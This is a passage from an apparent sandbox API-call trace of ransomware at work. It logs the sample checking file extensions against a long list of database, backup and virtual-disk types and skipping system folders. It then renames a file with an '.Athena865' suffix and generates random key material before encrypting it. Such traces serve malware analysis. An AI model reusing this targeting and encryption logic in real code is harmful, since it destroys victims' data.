(lpString="myd") returned 3 [0034.805] lstrcmpiW (lpString1="log", lpString2="myd") returned -1 [0034.805] lstrlenW (lpString="ndf") returned 3 [0034.805] lstrcmpiW (lpString1="log", lpString2="ndf") returned -1 [0034.805] lstrlenW (lpString="nnt") returned 3 [0034.805] lstrcmpiW (lpString1="log", lpString2="nnt") returned -1 [0034.805] lstrlenW (lpString="nrmlib") returned 6 [0034.805] lstrcmpiW (lpString1="ng.log", lpString2="nrmlib") returned -1 [0034.805] lstrlenW (lpString="ns2") returned 3 [0034.805] lstrcmpiW (lpString1="log", lpString2="ns2") returned -1 [0034.805] lstrlenW (lpString="ns3") returned 3 [0034.805] lstrcmpiW (lpString1="log", lpString2="ns3") returned -1 [0034.805] lstrlenW (lpString="ns4") returned 3 [0034.805] lstrcmpiW (lpString1="log", lpString2="ns4") returned -1 [0034.805] lstrlenW (lpString="nsf") returned 3 [0034.805] lstrcmpiW (lpString1="log", lpString2="nsf") returned -1 [0034.805] lstrlenW (lpString="nv") returned 2 [0034.805] lstrcmpiW (lpString1="og", lpString2="nv") returned 1 [0034.805] lstrlenW (lpString="nv2") returned 3 [0034.805] lstrcmpiW (lpString1="log", lpString2="nv2") returned -1 [0034.805] lstrlenW (lpString="nwdb") returned 4 [0034.805] lstrcmpiW (lpString1=".log", lpString2="nwdb") returned -1 [0034.805] lstrlenW (lpString="nyf") returned 3 [0034.805] lstrcmpiW (lpString1="log", lpString2="nyf") returned -1 [0034.805] lstrlenW (lpString="odb") returned 3 [0034.805] lstrcmpiW (lpString1="log", lpString2="odb") returned -1 [0034.805] lstrlenW (lpString="odb") returned 3 [0034.805] lstrcmpiW (lpString1="log", lpString2="odb") returned -1 [0034.805] lstrlenW (lpString="oqy") returned 3 [0034.805] lstrcmpiW (lpString1="log", lpString2="oqy") returned -1 [0034.805] lstrlenW (lpString="ora") returned 3 [0034.806] lstrcmpiW (lpString1="log", lpString2="ora") returned -1 [0034.806] lstrlenW (lpString="orx") returned 3 [0034.806] lstrcmpiW (lpString1="log", lpString2="orx") returned -1 [0034.806] lstrlenW (lpString="owc") returned 3 [0034.806] lstrcmpiW (lpString1="log", lpString2="owc") returned -1 [0034.806] lstrlenW (lpString="p96") returned 3 [0034.806] lstrcmpiW (lpString1="log", lpString2="p96") returned -1 [0034.806] lstrlenW (lpString="p97") returned 3 [0034.806] lstrcmpiW (lpString1="log", lpString2="p97") returned -1 [0034.806] lstrlenW (lpString="pan") returned 3 [0034.806] lstrcmpiW (lpString1="log", lpString2="pan") returned -1 [0034.806] lstrlenW (lpString="pdb") returned 3 [0034.806] lstrcmpiW (lpString1="log", lpString2="pdb") returned -1 [0034.806] lstrlenW (lpString="pdm") returned 3 [0034.806] lstrcmpiW (lpString1="log", lpString2="pdm") returned -1 [0034.806] lstrlenW (lpString="pnz") returned 3 [0034.806] lstrcmpiW (lpString1="log", lpString2="pnz") returned -1 [0034.806] lstrlenW (lpString="qry") returned 3 [0034.806] lstrcmpiW (lpString1="log", lpString2="qry") returned -1 [0034.806] lstrlenW (lpString="qvd") returned 3 [0034.806] lstrcmpiW (lpString1="log", lpString2="qvd") returned -1 [0034.806] lstrlenW (lpString="rbf") returned 3 [0034.806] lstrcmpiW (lpString1="log", lpString2="rbf") returned -1 [0034.806] lstrlenW (lpString="rctd") returned 4 [0034.806] lstrcmpiW (lpString1=".log", lpString2="rctd") returned -1 [0034.807] lstrlenW (lpString="rod") returned 3 [0034.807] lstrcmpiW (lpString1="log", lpString2="rod") returned -1 [0034.807] lstrlenW (lpString="rodx") returned 4 [0034.807] lstrcmpiW (lpString1=".log", lpString2="rodx") returned -1 [0034.807] lstrlenW (lpString="rpd") returned 3 [0034.807] lstrcmpiW (lpString1="log", lpString2="rpd") returned -1 [0034.807] lstrlenW (lpString="rsd") returned 3 [0034.807] lstrcmpiW (lpString1="log", lpString2="rsd") returned -1 [0034.807] lstrlenW (lpString="sas7bdat") returned 8 [0034.807] lstrcmpiW (lpString1="king.log", lpString2="sas7bdat") returned -1 [0034.807] lstrlenW (lpString="sbf") returned 3 [0034.807] lstrcmpiW (lpString1="log", lpString2="sbf") returned -1 [0034.807] lstrlenW (lpString="scx") returned 3 [0034.807] lstrcmpiW (lpString1="log", lpString2="scx") returned -1 [0034.807] lstrlenW (lpString="sdb") returned 3 [0034.807] lstrcmpiW (lpString1="log", lpString2="sdb") returned -1 [0034.807] lstrlenW (lpString="sdc") returned 3 [0034.807] lstrcmpiW (lpString1="log", lpString2="sdc") returned -1 [0034.807] lstrlenW (lpString="sdf") returned 3 [0034.807] lstrcmpiW (lpString1="log", lpString2="sdf") returned -1 [0034.807] lstrlenW (lpString="sis") returned 3 [0034.807] lstrcmpiW (lpString1="log", lpString2="sis") returned -1 [0034.807] lstrlenW (lpString="spq") returned 3 [0034.807] lstrcmpiW (lpString1="log", lpString2="spq") returned -1 [0034.807] lstrlenW (lpString="te") returned 2 [0034.807] lstrcmpiW (lpString1="og", lpString2="te") returned -1 [0034.807] lstrlenW (lpString="teacher") returned 7 [0034.807] lstrcmpiW (lpString1="ing.log", lpString2="teacher") returned -1 [0034.807] lstrlenW (lpString="tmd") returned 3 [0034.807] lstrcmpiW (lpString1="log", lpString2="tmd") returned -1 [0034.807] lstrlenW (lpString="tps") returned 3 [0034.807] lstrcmpiW (lpString1="log", lpString2="tps") returned -1 [0034.807] lstrlenW (lpString="trc") returned 3 [0034.807] lstrcmpiW (lpString1="log", lpString2="trc") returned -1 [0034.807] lstrlenW (lpString="trc") returned 3 [0034.807] lstrcmpiW (lpString1="log", lpString2="trc") returned -1 [0034.807] lstrlenW (lpString="trm") returned 3 [0034.807] lstrcmpiW (lpString1="log", lpString2="trm") returned -1 [0034.808] lstrlenW (lpString="udb") returned 3 [0034.808] lstrcmpiW (lpString1="log", lpString2="udb") returned -1 [0034.808] lstrlenW (lpString="udl") returned 3 [0034.808] lstrcmpiW (lpString1="log", lpString2="udl") returned -1 [0034.808] lstrlenW (lpString="usr") returned 3 [0034.808] lstrcmpiW (lpString1="log", lpString2="usr") returned -1 [0034.808] lstrlenW (lpString="v12") returned 3 [0034.808] lstrcmpiW (lpString1="log", lpString2="v12") returned -1 [0034.808] lstrlenW (lpString="vis") returned 3 [0034.808] lstrcmpiW (lpString1="log", lpString2="vis") returned -1 [0034.808] lstrlenW (lpString="vpd") returned 3 [0034.808] lstrcmpiW (lpString1="log", lpString2="vpd") returned -1 [0034.808] lstrlenW (lpString="vvv") returned 3 [0034.808] lstrcmpiW (lpString1="log", lpString2="vvv") returned -1 [0034.808] lstrlenW (lpString="wdb") returned 3 [0034.808] lstrcmpiW (lpString1="log", lpString2="wdb") returned -1 [0034.808] lstrlenW (lpString="wmdb") returned 4 [0034.808] lstrcmpiW (lpString1=".log", lpString2="wmdb") returned -1 [0034.808] lstrlenW (lpString="wrk") returned 3 [0034.808] lstrcmpiW (lpString1="log", lpString2="wrk") returned -1 [0034.808] lstrlenW (lpString="xdb") returned 3 [0034.808] lstrcmpiW (lpString1="log", lpString2="xdb") returned -1 [0034.808] lstrlenW (lpString="xld") returned 3 [0034.808] lstrcmpiW (lpString1="log", lpString2="xld") returned -1 [0034.808] lstrlenW (lpString="xmlff") returned 5 [0034.808] lstrcmpiW (lpString1="g.log", lpString2="xmlff") returned -1 [0034.808] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume Information\\tracking.log.Athena865") returned 51 [0034.808] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\tracking.log" (normalized: "c:\\system volume information\\tracking.log"), lpNewFileName="C:\\System Volume Information\\tracking.log.Athena865" (normalized: "c:\\system volume information\\tracking.log.athena865"), dwFlags=0x1) returned 1 [0034.810] CreateFileW (lpFileName="C:\\System Volume Information\\tracking.log.Athena865" (normalized: "c:\\system volume information\\tracking.log.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0034.810] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=20480) returned 1 [0034.810] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0034.810] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x50ddf8 [0034.810] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0034.810] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518788) returned 1 [0034.811] CryptGenRandom (in: hProv=0x518788, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0034.811] CryptReleaseContext (hProv=0x518788, dwFlags=0x0) returned 1 [0034.811] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5300, lpName=0x0) returned 0x140 [0034.811] MapViewOfFile (hFileMappingObject=0x140, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5300) returned 0x100000 [0034.812] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518788) returned 1 [0034.813] CryptGenRandom (in: hProv=0x518788, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0034.813] CryptReleaseContext (hProv=0x518788, dwFlags=0x0) returned 1 [0034.813] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x50de70 [0034.813] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50de70 | out: hHeap=0x4f0000) returned 1 [0034.813] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x528028 [0034.813] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0034.813] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528028 | out: hHeap=0x4f0000) returned 1 [0034.813] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0034.813] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x528028 [0034.813] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0034.813] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528028 | out: hHeap=0x4f0000) returned 1 [0034.813] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0034.813] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0034.814] CloseHandle (hObject=0x140) returned 1 [0034.814] CloseHandle (hObject=0x154) returned 1 [0034.815] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ddf8 | out: hHeap=0x4f0000) returned 1 [0034.815] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0034.815] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0034.816] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xe055db90, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe055db90, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0x86dfe600, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0xb210000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{066f465a-4995-11e7-93e9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", cAlternateFileName="{066F4~1")) returned 1 [0034.816] lstrcmpiW (lpString1="{066f465a-4995-11e7-93e9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0034.816] lstrcmpiW (lpString1="{066f465a-4995-11e7-93e9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0034.816] lstrcmpiW (lpString1="{066f465a-4995-11e7-93e9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".") returned 1 [0034.816] lstrcmpiW (lpString1="{066f465a-4995-11e7-93e9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="..") returned 1 [0034.816] lstrcmpiW (lpString1="{066f465a-4995-11e7-93e9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="windows") returned -1 [0034.816] lstrcmpiW (lpString1="{066f465a-4995-11e7-93e9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="bootmgr") returned -1 [0034.816] lstrcmpiW (lpString1="{066f465a-4995-11e7-93e9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="temp") returned -1 [0034.816] lstrcmpiW (lpString1="{066f465a-4995-11e7-93e9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="pagefile.sys") returned -1 [0034.816] lstrcmpiW (lpString1="{066f465a-4995-11e7-93e9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="boot") returned -1 [0034.816] lstrcmpiW (lpString1="{066f465a-4995-11e7-93e9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="ids.txt") returned -1 [0034.816] lstrcmpiW (lpString1="{066f465a-4995-11e7-93e9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="ntuser.dat") returned -1 [0034.816] lstrcmpiW (lpString1="{066f465a-4995-11e7-93e9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="perflogs") returned -1 [0034.816] lstrcmpiW (lpString1="{066f465a-4995-11e7-93e9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="MSBuild") returned -1 [0034.816] lstrlenW (lpString="{066f465a-4995-11e7-93e9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}") returned 76 [0034.816] lstrcpyW (in: lpString1=0x241e882, lpString2="{066f465a-4995-11e7-93e9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}" | out: lpString1="{066f465a-4995-11e7-93e9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}") returned="{066f465a-4995-11e7-93e9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}" [0034.816] lstrlenW (lpString="{066f465a-4995-11e7-93e9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}") returned 76 [0034.816] lstrlenW (lpString="Athena865") returned 9 [0034.816] lstrcmpiW (lpString1="6e6cc752}", lpString2="Athena865") returned -1 [0034.816] lstrlenW (lpString=".dll") returned 4 [0034.816] lstrcmpiW (lpString1="{066f465a-4995-11e7-93e9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".dll") returned 1 [0034.816] lstrlenW (lpString=".lnk") returned 4 [0034.816] lstrcmpiW (lpString1="{066f465a-4995-11e7-93e9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".lnk") returned 1 [0034.816] lstrlenW (lpString=".ini") returned 4 [0034.816] lstrcmpiW (lpString1="{066f465a-4995-11e7-93e9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".ini") returned 1 [0034.816] lstrlenW (lpString=".sys") returned 4 [0034.816] lstrcmpiW (lpString1="{066f465a-4995-11e7-93e9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".sys") returned 1 [0034.816] lstrlenW (lpString="{066f465a-4995-11e7-93e9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}") returned 76 [0034.816] lstrlenW (lpString="bak") returned 3 [0034.816] lstrcmpiW (lpString1="52}", lpString2="bak") returned -1 [0034.816] lstrlenW (lpString="ba_") returned 3 [0034.816] lstrcmpiW (lpString1="52}", lpString2="ba_") returned -1 [0034.816] lstrlenW (lpString="dbb") returned 3 [0034.816] lstrcmpiW (lpString1="52}", lpString2="dbb") returned -1 [0034.817] lstrlenW (lpString="vmdk") returned 4 [0034.817] lstrcmpiW (lpString1="752}", lpString2="vmdk") returned -1 [0034.817] lstrlenW (lpString="rar") returned 3 [0034.817] lstrcmpiW (lpString1="52}", lpString2="rar") returned -1 [0034.817] lstrlenW (lpString="zip") returned 3 [0034.817] lstrcmpiW (lpString1="52}", lpString2="zip") returned -1 [0034.817] lstrlenW (lpString="tgz") returned 3 [0034.817] lstrcmpiW (lpString1="52}", lpString2="tgz") returned -1 [0034.817] lstrlenW (lpString="vbox") returned 4 [0034.817] lstrcmpiW (lpString1="752}", lpString2="vbox") returned -1 [0034.817] lstrlenW (lpString="vdi") returned 3 [0034.817] lstrcmpiW (lpString1="52}", lpString2="vdi") returned -1 [0034.817] lstrlenW (lpString="vhd") returned 3 [0034.817] lstrcmpiW (lpString1="52}", lpString2="vhd") returned -1 [0034.817] lstrlenW (lpString="vhdx") returned 4 [0034.817] lstrcmpiW (lpString1="752}", lpString2="vhdx") returned -1 [0034.817] lstrlenW (lpString="avhd") returned 4 [0034.817] lstrcmpiW (lpString1="752}", lpString2="avhd") returned -1 [0034.817] lstrlenW (lpString="db") returned 2 [0034.817] lstrcmpiW (lpString1="2}", lpString2="db") returned -1 [0034.817] lstrlenW (lpString="db2") returned 3 [0034.817] lstrcmpiW (lpString1="52}", lpString2="db2") returned -1 [0034.817] lstrlenW (lpString="db3") returned 3 [0034.817] lstrcmpiW (lpString1="52}", lpString2="db3") returned -1 [0034.817] lstrlenW (lpString="dbf") returned 3 [0034.817] lstrcmpiW (lpString1="52}", lpString2="dbf") returned -1 [0034.817] lstrlenW (lpString="mdf") returned 3 [0034.817] lstrcmpiW (lpString1="52}", lpString2="mdf") returned -1 [0034.817] lstrlenW (lpString="mdb") returned 3 [0034.817] lstrcmpiW (lpString1="52}", lpString2="mdb") returned -1 [0034.817] lstrlenW (lpString="sql") returned 3 [0034.817] lstrcmpiW (lpString1="52}", lpString2="sql") returned -1 [0034.817] lstrlenW (lpString="sqlite") returned 6 [0034.817] lstrcmpiW (lpString1="cc752}", lpString2="sqlite") returned -1 [0034.817] lstrlenW (lpString="sqlite3") returned 7 [0034.817] lstrcmpiW (lpString1="6cc752}", lpString2="sqlite3") returned -1 [0034.817] lstrlenW (lpString="sqlitedb") returned 8 [0034.817] lstrcmpiW (lpString1="e6cc752}", lpString2="sqlitedb") returned -1 [0034.817] lstrlenW (lpString="xml") returned 3 [0034.817] lstrcmpiW (lpString1="52}", lpString2="xml") returned -1 [0034.818] lstrlenW (lpString="$er") returned 3 [0034.818] lstrcmpiW (lpString1="52}", lpString2="$er") returned 1 [0034.818] lstrlenW (lpString="4dd") returned 3 [0034.818] lstrcmpiW (lpString1="52}", lpString2="4dd") returned 1 [0034.818] lstrlenW (lpString="4dl") returned 3 [0034.818] lstrcmpiW (lpString1="52}", lpString2="4dl") returned 1 [0034.818] lstrlenW (lpString="^^^") returned 3 [0034.818] lstrcmpiW (lpString1="52}", lpString2="^^^") returned 1 [0034.818] lstrlenW (lpString="abs") returned 3 [0034.818] lstrcmpiW (lpString1="52}", lpString2="abs") returned -1 [0034.818] lstrlenW (lpString="abx") returned 3 [0034.818] lstrcmpiW (lpString1="52}", lpString2="abx") returned -1 [0034.818] lstrlenW (lpString="accdb") returned 5 [0034.818] lstrcmpiW (lpString1="c752}", lpString2="accdb") returned 1 [0034.818] lstrlenW (lpString="accdc") returned 5 [0034.818] lstrcmpiW (lpString1="c752}", lpString2="accdc") returned 1 [0034.818] lstrlenW (lpString="accde") returned 5 [0034.818] lstrcmpiW (lpString1="c752}", lpString2="accde") returned 1 [0034.818] lstrlenW (lpString="accdr") returned 5 [0034.818] lstrcmpiW (lpString1="c752}", lpString2="accdr") returned 1 [0034.818] lstrlenW (lpString="accdt") returned 5 [0034.818] lstrcmpiW (lpString1="c752}", lpString2="accdt") returned 1 [0034.818] lstrlenW (lpString="accdw") returned 5 [0034.818] lstrcmpiW (lpString1="c752}", lpString2="accdw") returned 1 [0034.818] lstrlenW (lpString="accft") returned 5 [0034.818] lstrcmpiW (lpString1="c752}", lpString2="accft") returned 1 [0034.818] lstrlenW (lpString="adb") returned 3 [0034.818] lstrcmpiW (lpString1="52}", lpString2="adb") returned -1 [0034.818] lstrlenW (lpString="adb") returned 3 [0034.818] lstrcmpiW (lpString1="52}", lpString2="adb") returned -1 [0034.818] lstrlenW (lpString="ade") returned 3 [0034.818] lstrcmpiW (lpString1="52}", lpString2="ade") returned -1 [0034.818] lstrlenW (lpString="adf") returned 3 [0034.818] lstrcmpiW (lpString1="52}", lpString2="adf") returned -1 [0034.818] lstrlenW (lpString="adn") returned 3 [0034.818] lstrcmpiW (lpString1="52}", lpString2="adn") returned -1 [0034.818] lstrlenW (lpString="adp") returned 3 [0034.818] lstrcmpiW (lpString1="52}", lpString2="adp") returned -1 [0034.818] lstrlenW (lpString="alf") returned 3 [0034.819] lstrcmpiW (lpString1="52}", lpString2="alf") returned -1 [0034.819] lstrlenW (lpString="ask") returned 3 [0034.819] lstrcmpiW (lpString1="52}", lpString2="ask") returned -1 [0034.819] lstrlenW (lpString="btr") returned 3 [0034.819] lstrcmpiW (lpString1="52}", lpString2="btr") returned -1 [0034.819] lstrlenW (lpString="cat") returned 3 [0034.819] lstrcmpiW (lpString1="52}", lpString2="cat") returned -1 [0034.819] lstrlenW (lpString="cdb") returned 3 [0034.819] lstrcmpiW (lpString1="52}", lpString2="cdb") returned -1 [0034.819] lstrlenW (lpString="ckp") returned 3 [0034.819] lstrcmpiW (lpString1="52}", lpString2="ckp") returned -1 [0034.819] lstrlenW (lpString="cma") returned 3 [0034.819] lstrcmpiW (lpString1="52}", lpString2="cma") returned -1 [0034.819] lstrlenW (lpString="cpd") returned 3 [0034.819] lstrcmpiW (lpString1="52}", lpString2="cpd") returned -1 [0034.819] lstrlenW (lpString="dacpac") returned 6 [0034.819] lstrcmpiW (lpString1="cc752}", lpString2="dacpac") returned -1 [0034.819] lstrlenW (lpString="dad") returned 3 [0034.819] lstrcmpiW (lpString1="52}", lpString2="dad") returned -1 [0034.819] lstrlenW (lpString="dadiagrams") returned 10 [0034.819] lstrcmpiW (lpString1="46e6cc752}", lpString2="dadiagrams") returned -1 [0034.819] lstrlenW (lpString="daschema") returned 8 [0034.819] lstrcmpiW (lpString1="e6cc752}", lpString2="daschema") returned 1 [0034.819] lstrlenW (lpString="db-journal") returned 10 [0034.819] lstrcmpiW (lpString1="46e6cc752}", lpString2="db-journal") returned -1 [0034.819] lstrlenW (lpString="db-shm") returned 6 [0034.819] lstrcmpiW (lpString1="cc752}", lpString2="db-shm") returned -1 [0034.819] lstrlenW (lpString="db-wal") returned 6 [0034.819] lstrcmpiW (lpString1="cc752}", lpString2="db-wal") returned -1 [0034.819] lstrlenW (lpString="dbc") returned 3 [0034.819] lstrcmpiW (lpString1="52}", lpString2="dbc") returned -1 [0034.819] lstrlenW (lpString="dbs") returned 3 [0034.819] lstrcmpiW (lpString1="52}", lpString2="dbs") returned -1 [0034.819] lstrlenW (lpString="dbt") returned 3 [0034.819] lstrcmpiW (lpString1="52}", lpString2="dbt") returned -1 [0034.819] lstrlenW (lpString="dbv") returned 3 [0034.819] lstrcmpiW (lpString1="52}", lpString2="dbv") returned -1 [0034.819] lstrlenW (lpString="dbx") returned 3 [0034.820] lstrcmpiW (lpString1="52}", lpString2="dbx") returned -1 [0034.820] lstrlenW (lpString="dcb") returned 3 [0034.820] lstrcmpiW (lpString1="52}", lpString2="dcb") returned -1 [0034.820] lstrlenW (lpString="dct") returned 3 [0034.820] lstrcmpiW (lpString1="52}", lpString2="dct") returned -1 [0034.820] lstrlenW (lpString="dcx") returned 3 [0034.820] lstrcmpiW (lpString1="52}", lpString2="dcx") returned -1 [0034.820] lstrlenW (lpString="ddl") returned 3 [0034.820] lstrcmpiW (lpString1="52}", lpString2="ddl") returned -1 [0034.820] lstrlenW (lpString="dlis") returned 4 [0034.820] lstrcmpiW (lpString1="752}", lpString2="dlis") returned -1 [0034.820] lstrlenW (lpString="dp1") returned 3 [0034.820] lstrcmpiW (lpString1="52}", lpString2="dp1") returned -1 [0034.820] lstrlenW (lpString="dqy") returned 3 [0034.820] lstrcmpiW (lpString1="52}", lpString2="dqy") returned -1 [0034.820] lstrlenW (lpString="dsk") returned 3 [0034.820] lstrcmpiW (lpString1="52}", lpString2="dsk") returned -1 [0034.820] lstrlenW (lpString="dsn") returned 3 [0034.820] lstrcmpiW (lpString1="52}", lpString2="dsn") returned -1 [0034.820] lstrlenW (lpString="dtsx") returned 4 [0034.820] lstrcmpiW (lpString1="752}", lpString2="dtsx") returned -1 [0034.820] lstrlenW (lpString="dxl") returned 3 [0034.820] lstrcmpiW (lpString1="52}", lpString2="dxl") returned -1 [0034.820] lstrlenW (lpString="eco") returned 3 [0034.820] lstrcmpiW (lpString1="52}", lpString2="eco") returned -1 [0034.820] lstrlenW (lpString="ecx") returned 3 [0034.820] lstrcmpiW (lpString1="52}", lpString2="ecx") returned -1 [0034.820] lstrlenW (lpString="edb") returned 3 [0034.820] lstrcmpiW (lpString1="52}", lpString2="edb") returned -1 [0034.820] lstrlenW (lpString="epim") returned 4 [0034.820] lstrcmpiW (lpString1="752}", lpString2="epim") returned -1 [0034.820] lstrlenW (lpString="fcd") returned 3 [0034.820] lstrcmpiW (lpString1="52}", lpString2="fcd") returned -1 [0034.820] lstrlenW (lpString="fdb") returned 3 [0034.820] lstrcmpiW (lpString1="52}", lpString2="fdb") returned -1 [0034.820] lstrlenW (lpString="fic") returned 3 [0034.820] lstrcmpiW (lpString1="52}", lpString2="fic") returned -1 [0034.820] lstrlenW (lpString="flexolibrary") returned 12 [0034.820] lstrcmpiW (lpString1="4046e6cc752}", lpString2="flexolibrary") returned -1 [0034.820] lstrlenW (lpString="fm5") returned 3 [0034.821] lstrcmpiW (lpString1="52}", lpString2="fm5") returned -1 [0034.821] lstrlenW (lpString="fmp") returned 3 [0034.821] lstrcmpiW (lpString1="52}", lpString2="fmp") returned -1 [0034.821] lstrlenW (lpString="fmp12") returned 5 [0034.821] lstrcmpiW (lpString1="c752}", lpString2="fmp12") returned -1 [0034.821] lstrlenW (lpString="fmpsl") returned 5 [0034.821] lstrcmpiW (lpString1="c752}", lpString2="fmpsl") returned -1 [0034.821] lstrlenW (lpString="fol") returned 3 [0034.821] lstrcmpiW (lpString1="52}", lpString2="fol") returned -1 [0034.821] lstrlenW (lpString="fp3") returned 3 [0034.821] lstrcmpiW (lpString1="52}", lpString2="fp3") returned -1 [0034.821] lstrlenW (lpString="fp4") returned 3 [0034.821] lstrcmpiW (lpString1="52}", lpString2="fp4") returned -1 [0034.821] lstrlenW (lpString="fp5") returned 3 [0034.821] lstrcmpiW (lpString1="52}", lpString2="fp5") returned -1 [0034.821] lstrlenW (lpString="fp7") returned 3 [0034.821] lstrcmpiW (lpString1="52}", lpString2="fp7") returned -1 [0034.821] lstrlenW (lpString="fpt") returned 3 [0034.821] lstrcmpiW (lpString1="52}", lpString2="fpt") returned -1 [0034.821] lstrlenW (lpString="frm") returned 3 [0034.821] lstrcmpiW (lpString1="52}", lpString2="frm") returned -1 [0034.821] lstrlenW (lpString="gdb") returned 3 [0034.821] lstrcmpiW (lpString1="52}", lpString2="gdb") returned -1 [0034.821] lstrlenW (lpString="gdb") returned 3 [0034.821] lstrcmpiW (lpString1="52}", lpString2="gdb") returned -1 [0034.821] lstrlenW (lpString="grdb") returned 4 [0034.821] lstrcmpiW (lpString1="752}", lpString2="grdb") returned -1 [0034.821] lstrlenW (lpString="gwi") returned 3 [0034.821] lstrcmpiW (lpString1="52}", lpString2="gwi") returned -1 [0034.821] lstrlenW (lpString="hdb") returned 3 [0034.821] lstrcmpiW (lpString1="52}", lpString2="hdb") returned -1 [0034.821] lstrlenW (lpString="his") returned 3 [0034.821] lstrcmpiW (lpString1="52}", lpString2="his") returned -1 [0034.821] lstrlenW (lpString="ib") returned 2 [0034.821] lstrcmpiW (lpString1="2}", lpString2="ib") returned -1 [0034.821] lstrlenW (lpString="idb") returned 3 [0034.821] lstrcmpiW (lpString1="52}", lpString2="idb") returned -1 [0034.821] lstrlenW (lpString="ihx") returned 3 [0034.822] lstrcmpiW (lpString1="52}", lpString2="ihx") returned -1 [0034.822] lstrlenW (lpString="itdb") returned 4 [0034.822] lstrcmpiW (lpString1="752}", lpString2="itdb") returned -1 [0034.822] lstrlenW (lpString="itw") returned 3 [0034.822] lstrcmpiW (lpString1="52}", lpString2="itw") returned -1 [0034.822] lstrlenW (lpString="jet") returned 3 [0034.822] lstrcmpiW (lpString1="52}", lpString2="jet") returned -1 [0034.822] lstrlenW (lpString="jtx") returned 3 [0034.822] lstrcmpiW (lpString1="52}", lpString2="jtx") returned -1 [0034.822] lstrlenW (lpString="kdb") returned 3 [0034.822] lstrcmpiW (lpString1="52}", lpString2="kdb") returned -1 [0034.822] lstrlenW (lpString="kexi") returned 